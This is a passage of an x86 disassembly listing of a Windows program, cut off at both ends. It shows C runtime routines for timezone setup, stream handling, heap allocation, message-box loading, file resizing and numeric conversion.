edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EB50+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41EB6A: ; CODE XREF: sub_41EB50+3j xor eax, eax xor edx, edx retn sub_41EB50 endp ; =============== S U B R O U T I N E ======================================= sub_41EB6F proc near ; CODE XREF: sub_41C26B+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41EBBB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41EB8D test al, 80h jz short loc_41EBBB test al, 2 jnz short loc_41EBBB loc_41EB8D: ; CODE XREF: sub_41EB6F+14j cmp dword ptr [esi+8], 0 jnz short loc_41EB9A push esi call sub_41DAF8 pop ecx loc_41EB9A: ; CODE XREF: sub_41EB6F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41EBAA cmp dword ptr [esi+4], 0 jnz short loc_41EBBB inc eax mov [esi], eax loc_41EBAA: ; CODE XREF: sub_41EB6F+30j test byte ptr [esi+0Ch], 40h jz short loc_41EBC1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41EBC7 inc eax mov [esi], eax loc_41EBBB: ; CODE XREF: sub_41EB6F+9j ; sub_41EB6F+18j ... or eax, 0FFFFFFFFh loc_41EBBE: ; CODE XREF: sub_41EB6F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41EBC1: ; CODE XREF: sub_41EB6F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41EBC7: ; CODE XREF: sub_41EB6F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41EBBE sub_41EB6F endp ; =============== S U B R O U T I N E ======================================= sub_41EBDD proc near ; CODE XREF: sub_41C2A6:loc_41C2E5p cmp ds:dword_4C9348, 0 jnz short locret_41EBF1 call sub_41EBF2 inc ds:dword_4C9348 locret_41EBF1: ; CODE XREF: sub_41EBDD+7j retn sub_41EBDD endp ; =============== S U B R O U T I N E ======================================= sub_41EBF2 proc near ; CODE XREF: sub_41EBDD+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov ds:dword_4C9290, ebp mov ds:dword_431DD8, ebx mov ds:dword_431DC8, ebx call sub_41FECD mov esi, eax pop ecx cmp esi, ebp jnz loc_41ED1B push offset dword_4C9298 call ds:dword_422174 ; GetTimeZoneInformation cmp eax, ebx jz loc_41EE4A mov eax, ds:dword_4C9298 mov ecx, ds:dword_4C92EC imul eax, 3Ch cmp ds:word_4C92DE, bp push 1 pop edx mov ds:dword_431D30, eax mov ds:dword_4C9290, edx jz short loc_41EC69 mov esi, ecx imul esi, 3Ch add eax, esi mov ds:dword_431D30, eax loc_41EC69: ; CODE XREF: sub_41EBF2+69j cmp ds:word_4C9332, bp jz short loc_41EC8D mov eax, ds:dword_4C9340 cmp eax, ebp jz short loc_41EC8D sub eax, ecx mov ds:dword_431D34, edx imul eax, 3Ch mov ds:dword_431D38, eax jmp short loc_41EC99 ; --------------------------------------------------------------------------- loc_41EC8D: ; CODE XREF: sub_41EBF2+7Ej ; sub_41EBF2+87j mov ds:dword_431D34, ebp mov ds:dword_431D38, ebp loc_41EC99: ; CODE XREF: sub_41EBF2+99j lea eax, [esp+14h+var_4] mov esi, ds:dword_422130 push eax push ebp push 3Fh mov edi, 220h push ds:off_431DBC push ebx push offset dword_4C929C push edi push ds:dword_4C912C call esi ; WideCharToMultiByte test eax, eax jz short loc_41ECD6 cmp [esp+14h+var_4], ebp jnz short loc_41ECD6 mov eax, ds:off_431DBC and byte ptr [eax+3Fh], 0 jmp short loc_41ECDE ; --------------------------------------------------------------------------- loc_41ECD6: ; CODE XREF: sub_41EBF2+D1j ; sub_41EBF2+D7j mov eax, ds:off_431DBC and byte ptr [eax], 0 loc_41ECDE: ; CODE XREF: sub_41EBF2+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push ds:off_431DC0 push ebx push offset dword_4C92F0 push edi push ds:dword_4C912C call esi ; WideCharToMultiByte test eax, eax jz loc_41EE42 cmp [esp+14h+var_4], ebp jnz loc_41EE42 mov eax, ds:off_431DC0 and byte ptr [eax+3Fh], 0 jmp loc_41EE4A ; --------------------------------------------------------------------------- loc_41ED1B: ; CODE XREF: sub_41EBF2+2Dj cmp byte ptr [esi], 0 jz loc_41EE4A mov eax, ds:dword_4C9344 cmp eax, ebp jz short loc_41ED3E push eax push esi call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41EE4A loc_41ED3E: ; CODE XREF: sub_41EBF2+139j push ds:dword_4C9344 call sub_415DE1 push esi call sub_415C80 inc eax push eax call sub_415D2F add esp, 0Ch cmp eax, ebp mov ds:dword_4C9344, eax jz loc_41EE4A push esi push eax call sub_415B90 push 3 push esi push ds:off_431DBC call sub_416D30 mov eax, ds:off_431DBC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41ED93 push 1 inc esi pop edi loc_41ED93: ; CODE XREF: sub_41EBF2+19Bj push esi call sub_415964 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov ds:dword_431D30, ecx loc_41EDAA: ; CODE XREF: sub_41EBF2+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41EDB8 cmp al, bl jl short loc_41EDBB cmp al, 39h jg short loc_41EDBB loc_41EDB8: ; CODE XREF: sub_41EBF2+1BCj inc esi jmp short loc_41EDAA ; --------------------------------------------------------------------------- loc_41EDBB: ; CODE XREF: sub_41EBF2+1C0j ; sub_41EBF2+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41EE0E inc esi push esi call sub_415964 imul eax, 3Ch pop ecx mov ecx, ds:dword_431D30 add ecx, eax mov ds:dword_431D30, ecx loc_41EDD9: ; CODE XREF: sub_41EBF2+1F2j mov al, [esi] cmp al, bl jl short loc_41EDE6 cmp al, 39h jg short loc_41EDE6 inc esi jmp short loc_41EDD9 ; --------------------------------------------------------------------------- loc_41EDE6: ; CODE XREF: sub_41EBF2+1EBj ; sub_41EBF2+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41EE0E inc esi push esi call sub_415964 pop ecx mov ecx, ds:dword_431D30 add ecx, eax mov ds:dword_431D30, ecx loc_41EE01: ; CODE XREF: sub_41EBF2+21Aj mov al, [esi] cmp al, bl jl short loc_41EE0E cmp al, 39h jg short loc_41EE0E inc esi jmp short loc_41EE01 ; --------------------------------------------------------------------------- loc_41EE0E: ; CODE XREF: sub_41EBF2+1CCj ; sub_41EBF2+1F7j ... cmp edi, ebp jz short loc_41EE1A neg ecx mov ds:dword_431D30, ecx loc_41EE1A: ; CODE XREF: sub_41EBF2+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov ds:dword_431D34, eax jz short loc_41EE42 push 3 push esi push ds:off_431DC0 call sub_416D30 mov eax, ds:off_431DC0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41EE4A ; --------------------------------------------------------------------------- loc_41EE42: ; CODE XREF: sub_41EBF2+10Bj ; sub_41EBF2+115j ... mov eax, ds:off_431DC0 and byte ptr [eax], 0 loc_41EE4A: ; CODE XREF: sub_41EBF2+40j ; sub_41EBF2+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41EBF2 endp ; =============== S U B R O U T I N E ======================================= sub_41EE50 proc near ; CODE XREF: sub_41C2A6+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp ds:dword_431D34, edi jnz short loc_41EE64 loc_41EE5D: ; CODE XREF: sub_41EE50+148j ; sub_41EE50+150j ... xor eax, eax jmp loc_41EFB0 ; --------------------------------------------------------------------------- loc_41EE64: ; CODE XREF: sub_41EE50+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, ds:dword_431DC8 jnz short loc_41EE82 cmp eax, ds:dword_431DD8 jz loc_41EF84 loc_41EE82: ; CODE XREF: sub_41EE50+24j cmp ds:dword_4C9290, edi jz loc_41EF5A movzx ecx, ds:word_4C933E push ecx cmp ds:word_4C9330, di movzx ecx, ds:word_4C933C push ecx movzx ecx, ds:word_4C933A push ecx movzx ecx, ds:word_4C9338 push ecx jnz short loc_41EED4 movzx ecx, ds:word_4C9334 push edi push ecx movzx ecx, ds:word_4C9336 push ecx movzx ecx, ds:word_4C9332 push ecx push eax push ebx jmp short loc_41EEE8 ; --------------------------------------------------------------------------- loc_41EED4: ; CODE XREF: sub_41EE50+65j movzx ecx, ds:word_4C9336 push ecx push edi movzx ecx, ds:word_4C9332 push edi push ecx push eax push edi loc_41EEE8: ; CODE XREF: sub_41EE50+82j push ebx call sub_41EFFC movzx eax, ds:word_4C92EA add esp, 2Ch cmp ds:word_4C92DC, di push eax movzx eax, ds:word_4C92E8 push eax movzx eax, ds:word_4C92E6 push eax movzx eax, ds:word_4C92E4 push eax jnz short loc_41EF42 movzx eax, ds:word_4C92E0 push edi push eax movzx eax, ds:word_4C92E2 push eax movzx eax, ds:word_4C92DE push eax push dword ptr [esi+14h] push ebx loc_41EF37: ; CODE XREF: sub_41EE50+108j push edi call sub_41EFFC add esp, 2Ch jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF42: ; CODE XREF: sub_41EE50+C8j movzx eax, ds:word_4C92E2 push eax push edi movzx eax, ds:word_4C92DE push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41EF37 ; --------------------------------------------------------------------------- loc_41EF5A: ; CODE XREF: sub_41EE50+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41EFFC push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41EFFC add esp, 58h loc_41EF84: ; CODE XREF: sub_41EE50+2Cj ; sub_41EE50+F0j mov edx, ds:dword_431DCC mov eax, ds:dword_431DDC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41EFB4 cmp ecx, edx jl loc_41EE5D cmp ecx, eax jg loc_41EE5D cmp ecx, edx jle short loc_41EFC8 cmp ecx, eax jge short loc_41EFC8 loc_41EFAE: ; CODE XREF: sub_41EE50+166j ; sub_41EE50+16Aj mov eax, ebx loc_41EFB0: ; CODE XREF: sub_41EE50+Fj ; sub_41EE50+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41EFB4: ; CODE XREF: sub_41EE50+144j cmp ecx, eax jl short loc_41EFAE cmp ecx, edx jg short loc_41EFAE cmp ecx, eax jle short loc_41EFC8 cmp ecx, edx jl loc_41EE5D loc_41EFC8: ; CODE XREF: sub_41EE50+158j ; sub_41EE50+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41EFEF xor ecx, ecx cmp eax, ds:dword_431DD0 setnl cl loc_41EFEB: ; CODE XREF: sub_41EE50+1AAj mov eax, ecx jmp short loc_41EFB0 ; --------------------------------------------------------------------------- loc_41EFEF: ; CODE XREF: sub_41EE50+18Ej xor ecx, ecx cmp eax, ds:dword_431DE0 setl cl jmp short loc_41EFEB sub_41EE50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFFC proc near ; CODE XREF: sub_41EE50+99p ; sub_41EE50+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41F097 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41F027 shl esi, 2 mov eax, ds:dword_431DE0[esi] jmp short loc_41F030 ; --------------------------------------------------------------------------- loc_41F027: ; CODE XREF: sub_41EFFC+1Ej shl esi, 2 mov eax, ds:dword_431E14[esi] loc_41F030: ; CODE XREF: sub_41EFFC+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_41F06A imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41F074 ; --------------------------------------------------------------------------- loc_41F06A: ; CODE XREF: sub_41EFFC+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41F074: ; CODE XREF: sub_41EFFC+6Cj cmp [ebp+arg_10], 5 jnz short loc_41F0B2 cmp [ebp+arg_8], 0 jnz short loc_41F088 mov esi, ds:dword_431DE4[esi] jmp short loc_41F08E ; --------------------------------------------------------------------------- loc_41F088: ; CODE XREF: sub_41EFFC+82j mov esi, ds:dword_431E18[esi] loc_41F08E: ; CODE XREF: sub_41EFFC+8Aj cmp ecx, esi jle short loc_41F0B2 sub ecx, 7 jmp short loc_41F0B2 ; --------------------------------------------------------------------------- loc_41F097: ; CODE XREF: sub_41EFFC+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41F0A8 mov ecx, ds:dword_431DE0[eax*4] jmp short loc_41F0AF ; --------------------------------------------------------------------------- loc_41F0A8: ; CODE XREF: sub_41EFFC+A1j mov ecx, ds:dword_431E14[eax*4] loc_41F0AF: ; CODE XREF: sub_41EFFC+AAj add ecx, [ebp+arg_18] loc_41F0B2: ; CODE XREF: sub_41EFFC+7Cj ; sub_41EFFC+94j ... cmp [ebp+arg_0], 1 jnz short loc_41F0E3 mov eax, [ebp+arg_1C] mov ds:dword_431DCC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov ds:dword_431DC8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_431DD0, eax jmp short loc_41F138 ; --------------------------------------------------------------------------- loc_41F0E3: ; CODE XREF: sub_41EFFC+BAj mov eax, [ebp+arg_1C] mov ds:dword_431DDC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, ds:dword_431D38 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_431DE0, eax jns short loc_41F11B add eax, 5265C00h dec ecx mov ds:dword_431DE0, eax jmp short loc_41F12C ; --------------------------------------------------------------------------- loc_41F11B: ; CODE XREF: sub_41EFFC+110j mov edx, 5265C00h cmp eax, edx jl short loc_41F132 sub eax, edx inc ecx mov ds:dword_431DE0, eax loc_41F12C: ; CODE XREF: sub_41EFFC+11Dj mov ds:dword_431DDC, ecx loc_41F132: ; CODE XREF: sub_41EFFC+126j mov ds:dword_431DD8, ebx loc_41F138: ; CODE XREF: sub_41EFFC+E5j pop esi pop ebx pop ebp retn sub_41EFFC endp ; =============== S U B R O U T I N E ======================================= sub_41F13C proc near ; CODE XREF: sub_41D24F+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41F14D add esp, 0Ch retn sub_41F13C endp ; =============== S U B R O U T I N E ======================================= sub_41F14D proc near ; CODE XREF: sub_41F13C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_4CA5E1[eax], cl jnz short loc_41F17A cmp [esp+arg_4], 0 jz short loc_41F173 movzx eax, ds:word_42F36A[eax*2] and eax, [esp+arg_4] jmp short loc_41F175 ; --------------------------------------------------------------------------- loc_41F173: ; CODE XREF: sub_41F14D+16j xor eax, eax loc_41F175: ; CODE XREF: sub_41F14D+24j test eax, eax jnz short loc_41F17A retn ; --------------------------------------------------------------------------- loc_41F17A: ; CODE XREF: sub_41F14D+Fj ; sub_41F14D+2Aj push 1 pop eax retn sub_41F14D endp ; =============== S U B R O U T I N E ======================================= sub_41F17E proc near ; CODE XREF: sub_41D9A5+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp ds:dword_4C934C, ebx push esi push edi jnz short loc_41F1CD push offset aUser32_dll ; "user32.dll" call ds:off_4220C0 mov edi, eax cmp edi, ebx jz short loc_41F203 mov esi, ds:off_4220BC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; sub_4DB076 test eax, eax mov ds:dword_4C934C, eax jz short loc_41F203 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; sub_4DB076 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_4C9350, eax call esi ; sub_4DB076 mov ds:dword_4C9354, eax loc_41F1CD: ; CODE XREF: sub_41F17E+Bj mov eax, ds:dword_4C9350 test eax, eax jz short loc_41F1EC call eax mov ebx, eax test ebx, ebx jz short loc_41F1EC mov eax, ds:dword_4C9354 test eax, eax jz short loc_41F1EC push ebx call eax mov ebx, eax loc_41F1EC: ; CODE XREF: sub_41F17E+56j ; sub_41F17E+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call ds:dword_4C934C loc_41F1FF: ; CODE XREF: sub_41F17E+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41F203: ; CODE XREF: sub_41F17E+1Cj ; sub_41F17E+33j xor eax, eax jmp short loc_41F1FF sub_41F17E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F207 proc near ; CODE XREF: _0:0041DB84p _0:0041DB9Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_41F228 test esi, esi jnz short loc_41F222 push 1 pop esi loc_41F222: ; CODE XREF: sub_41F207+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_41F228: ; CODE XREF: sub_41F207+12j ; sub_41F207+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41F287 mov eax, ds:dword_4CA708 cmp eax, 3 jnz short loc_41F253 mov eax, [ebp+arg_0] cmp eax, ds:dword_4CA700 ja short loc_41F272 push eax call sub_4191FD mov edi, eax pop ecx test edi, edi jnz short loc_41F29D jmp short loc_41F272 ; --------------------------------------------------------------------------- loc_41F253: ; CODE XREF: sub_41F207+30j cmp eax, 2 jnz short loc_41F272 cmp esi, ds:dword_4315A4 ja short loc_41F272 mov eax, esi shr eax, 4 push eax call sub_419CA0 mov edi, eax pop ecx test edi, edi jnz short loc_41F2B1 loc_41F272: ; CODE XREF: sub_41F207+3Bj ; sub_41F207+4Aj ... push esi push 8 push ds:dword_4CA704 call ds:dword_4220C8 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41F2AB loc_41F287: ; CODE XREF: sub_41F207+26j cmp ds:dword_4C90E4, 0 jz short loc_41F2AB push esi call sub_418C74 test eax, eax pop ecx jz short loc_41F2B4 jmp short loc_41F228 ; --------------------------------------------------------------------------- loc_41F29D: ; CODE XREF: sub_41F207+48j push [ebp+arg_0] loc_41F2A0: ; CODE XREF: sub_41F207+ABj push 0 push edi call sub_415500 add esp, 0Ch loc_41F2AB: ; CODE XREF: sub_41F207+7Ej ; sub_41F207+87j mov eax, edi loc_41F2AD: ; CODE XREF: sub_41F207+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41F2B1: ; CODE XREF: sub_41F207+69j push esi jmp short loc_41F2A0 ; --------------------------------------------------------------------------- loc_41F2B4: ; CODE XREF: sub_41F207+92j xor eax, eax jmp short loc_41F2AD sub_41F207 endp ; --------------------------------------------------------------------------- loc_41F2B8: ; CODE XREF: _0:0041DC15j push esi push edi push 3 xor edi, edi pop esi cmp ds:dword_4CA3A0, esi jle short loc_41F30B loc_41F2C7: ; CODE XREF: _0:0041F309j mov eax, ds:dword_4C9380 mov eax, [eax+esi*4] test eax, eax jz short loc_41F302 test byte ptr [eax+0Ch], 83h jz short loc_41F2E6 push eax call sub_415AD0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41F2E6 inc edi loc_41F2E6: ; CODE XREF: _0:0041F2D7j _0:0041F2E3j cmp esi, 14h jl short loc_41F302 mov eax, ds:dword_4C9380 push dword ptr [eax+esi*4] call sub_415DE1 mov eax, ds:dword_4C9380 pop ecx and dword ptr [eax+esi*4], 0 loc_41F302: ; CODE XREF: _0:0041F2D1j _0:0041F2E9j inc esi cmp esi, ds:dword_4CA3A0 jl short loc_41F2C7 loc_41F30B: ; CODE XREF: _0:0041F2C5j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F310 proc near ; CODE XREF: sub_41DFE6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_415D00 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, ds:dword_4CA4C0 jnb loc_41F445 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_4CA3C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41F445 push 1 push esi push ebx call sub_41C637 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41F44F push 2 push esi push ebx call sub_41C637 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41F44F push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41F3F2 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_415500 push 8000h push ebx call sub_41FF4A add esp, 14h mov [ebp+arg_4], eax loc_41F3A6: ; CODE XREF: sub_41F310+BDj mov eax, 1000h cmp edi, eax jge short loc_41F3B1 mov eax, edi loc_41F3B1: ; CODE XREF: sub_41F310+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41CEB7 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41F3CF sub edi, eax test edi, edi jle short loc_41F3E5 jmp short loc_41F3A6 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F310+B5j cmp ds:dword_4C9088, 5 jnz short loc_41F3E2 mov ds:dword_4C9084, 0Dh loc_41F3E2: ; CODE XREF: sub_41F310+C6j or esi, 0FFFFFFFFh loc_41F3E5: ; CODE XREF: sub_41F310+BBj push [ebp+arg_4] push ebx call sub_41FF4A pop ecx pop ecx jmp short loc_41F432 ; --------------------------------------------------------------------------- loc_41F3F2: ; CODE XREF: sub_41F310+71j jge short loc_41F432 push 0 push [ebp+arg_4] push ebx call sub_41C637 push ebx call sub_41DF52 add esp, 10h push eax call ds:dword_422010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41F432 mov ds:dword_4C9084, 0Dh call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_4C9088, eax loc_41F432: ; CODE XREF: sub_41F310+E0j ; sub_41F310:loc_41F3F2j ... push 0 push [ebp+arg_0] push ebx call sub_41C637 add esp, 0Ch mov eax, esi pop edi jmp short loc_41F452 ; --------------------------------------------------------------------------- loc_41F445: ; CODE XREF: sub_41F310+1Aj ; sub_41F310+36j mov ds:dword_4C9084, 9 loc_41F44F: ; CODE XREF: sub_41F310+4Ej ; sub_41F310+63j or eax, 0FFFFFFFFh loc_41F452: ; CODE XREF: sub_41F310+133j pop esi pop ebx leave retn sub_41F310 endp ; =============== S U B R O U T I N E ======================================= sub_41F456 proc near ; CODE XREF: sub_41E451+2Bp ; sub_41E451+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41F46C cmp ecx, esi jnb short loc_41F46F loc_41F46C: ; CODE XREF: sub_41F456+10j push 1 pop eax loc_41F46F: ; CODE XREF: sub_41F456+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41F456 endp ; =============== S U B R O U T I N E ======================================= sub_41F477 proc near ; CODE XREF: sub_41F530+40p ; sub_41F530+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41F456 add esp, 0Ch test eax, eax jz short loc_41F4A9 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41F456 add esp, 0Ch test eax, eax jz short loc_41F4A9 inc dword ptr [esi+8] loc_41F4A9: ; CODE XREF: sub_41F477+19j ; sub_41F477+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41F456 add esp, 0Ch test eax, eax jz short loc_41F4C1 inc dword ptr [esi+8] loc_41F4C1: ; CODE XREF: sub_41F477+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41F456 add esp, 0Ch pop edi pop esi retn sub_41F477 endp ; =============== S U B R O U T I N E ======================================= sub_41F4D5 proc near ; CODE XREF: sub_41F530+30p ; sub_41F530+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41F4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41F503 proc near ; CODE XREF: sub_41FAC8+1C8p ; sub_41FFC0+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41F503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F530 proc near ; CODE XREF: sub_41F5F7+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41F5A4 push edi mov [ebp+arg_8], eax loc_41F557: ; CODE XREF: sub_41F530+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41F4D5 push ebx call sub_41F4D5 lea eax, [ebp+var_10] push eax push ebx call sub_41F477 push ebx call sub_41F4D5 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41F477 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41F557 xor edx, edx pop edi loc_41F5A4: ; CODE XREF: sub_41F530+21j ; sub_41F530+9Fj cmp [ebx+8], edx jnz short loc_41F5D1 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41F5A4 ; --------------------------------------------------------------------------- loc_41F5D1: ; CODE XREF: sub_41F530+77j mov esi, 8000h loc_41F5D6: ; CODE XREF: sub_41F530+B9j test [ebx+8], esi jnz short loc_41F5EB push ebx call sub_41F4D5 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41F5D6 ; --------------------------------------------------------------------------- loc_41F5EB: ; CODE XREF: sub_41F530+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41F530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5F7 proc near ; CODE XREF: sub_41E79A+17p ; sub_41E7C7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], 